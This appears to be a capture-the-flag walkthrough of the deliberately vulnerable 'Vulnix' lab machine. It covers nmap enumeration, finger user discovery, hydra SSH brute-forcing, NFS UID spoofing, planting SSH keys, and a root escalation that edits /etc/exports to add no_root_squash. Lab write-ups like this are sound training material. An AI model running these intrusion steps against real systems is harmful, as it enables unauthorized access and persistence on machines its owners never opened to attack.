Vulnix

Starting with nmap scan found many open ports

```
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp  open  smtp      Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2019-06-04T07:20:17+00:00; +2s from scanner time.
79/tcp  open  finger    Linux fingerd
|_finger: No one logged on.\x0D
110/tcp  open  pop3     Dovecot pop3d
|_pop3-capabilities: PIPELINING CAPA SASL RESP-CODES STLS UIDL TOP
|_ssl-date: 2019-06-04T07:20:18+00:00; +3s from scanner time.
111/tcp  open  rpcbind   2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4      111/tcp  rpcbind
|   100000  2,3,4      111/udp  rpcbind
|   100003  2,3,4     2049/tcp  nfs
|   100003  2,3,4     2049/udp  nfs
|   100005  1,2,3    40061/tcp  mountd
|   100005  1,2,3    48362/udp  mountd
|   100021  1,3,4    39747/tcp  nlockmgr
|   100021  1,3,4    49798/udp  nlockmgr
|   100024  1        48990/udp  status
|   100024  1        60973/tcp  status
|   100227  2,3       2049/tcp  nfs_acl
|_  100227  2,3       2049/udp  nfs_acl
143/tcp  open  imap     Dovecot imapd
|_imap-capabilities: SASL-IR IDLE more LITERAL+ have Pre-login STARTTLS LOGIN-REFERRALS
capabilities IMAP4rev1 listed ID OK ENABLE post-login LOGINDISABLEDA0001
|_ssl-date: 2019-06-04T07:20:19+00:00; +3s from scanner time.
512/tcp  open  exec     netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
993/tcp  open  ssl/imaps?
|_ssl-date: 2019-06-04T07:20:17+00:00; +3s from scanner time.
995/tcp  open  ssl/pop3s?
|_ssl-date: 2019-06-04T07:20:17+00:00; +3s from scanner time.
2049/tcp  open  nfs_acl   2-3 (RPC #100227)
35287/tcp open  mountd    1-3 (RPC #100005)
39747/tcp open  nlockmgr  1-4 (RPC #100021)
40061/tcp open  mountd    1-3 (RPC #100005)
55103/tcp open  mountd    1-3 (RPC #100005)
60973/tcp open  status    1 (RPC #100024)
```

nfs is open so checking for available shares

```
# showmount -e 192.168.0.3
```

found one share **/home/vulnix** but showing permission denied when we want to visit it
back to other ports found finger on port 79, connect to the port with nc and tried user command to show user

```
# nc 192.168.0.3 79
user
```

Found two user from one of it have home directory and /bin/bash shell so that must of our use
Brute forcing for ssh password with user 'user' with hydra

```
# hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.0.3 ssh
```

Found the password and login through ssh with this user found nothing interesting in this user but inside home directories there is two directories **user** and **vulnix,** /home/vulnix is also mounted in nfs shares
Looking /etc/passwd found vulnix user id to be 2008, made a user vulnix with same id on attacking system

```
# useradd vulnix -u 2008
```

then switch to user vulnix connect to the share

```
$ mount 192.168.0.3:/home/vulnix test/
```

made a directory **.ssh** generated ssh key and paste the public key in .ssh foldar

```
$ ssh-keygen
$ cp id_rsa.pub test/.ssh/authorized_keys
$ ssh -i id_rsa vulnix@192.168.0.3
```

We logges in successfully with this as user **vulnix**, When looked for sudo permission found one permission **sudoedit /etc/exports** with nopasswd as root

We know that **/etc/exports** is the configuration file of nfs so after editing this we can mount different things so

```
$ sudoedit /etc/exports
```

Change the /home/vulnix to /root and permission for access the share to *(rw,no_root_squash),
We don't have too much access to the machine so we have to reboot the machine to update nfs

connect to the new share we created and switch to root user in attacker machine

```
$ mount 192.168.0.3:/root test
```

paste the keys of ssh same as before and log in as root

```
$ cp id_rsa.pub test/.ssh/authorized_keys
$ ssh -i id_rsa 192.168.0.3
```